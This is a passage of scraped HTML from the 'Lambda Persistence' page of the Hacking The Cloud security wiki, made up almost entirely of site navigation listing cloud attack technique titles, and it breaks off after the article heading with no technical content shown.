6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Lambda Persistence </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Lambda Persistence </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#python-runtime class=md-nav__link> <span class=md-ellipsis> Python Runtime </span> </a> </li> <li class=md-nav__item> <a href=#ruby-runtime class=md-nav__link> <span class=md-ellipsis> Ruby Runtime </span> </a> </li> <li class=md-nav__item> <a href=#creating-a-listener class=md-nav__link> <span class=md-ellipsis> Creating a Listener </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#python-runtime class=md-nav__link> <span class=md-ellipsis> Python Runtime </span> </a> </li> <li class=md-nav__item> <a href=#ruby-runtime class=md-nav__link> <span class=md-ellipsis> Ruby Runtime </span> </a> </li> <li class=md-nav__item> <a href=#creating-a-listener class=md-nav__link> <span class=md-ellipsis> Creating a Listener </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/lambda_persistence.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Lambda Persistence</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 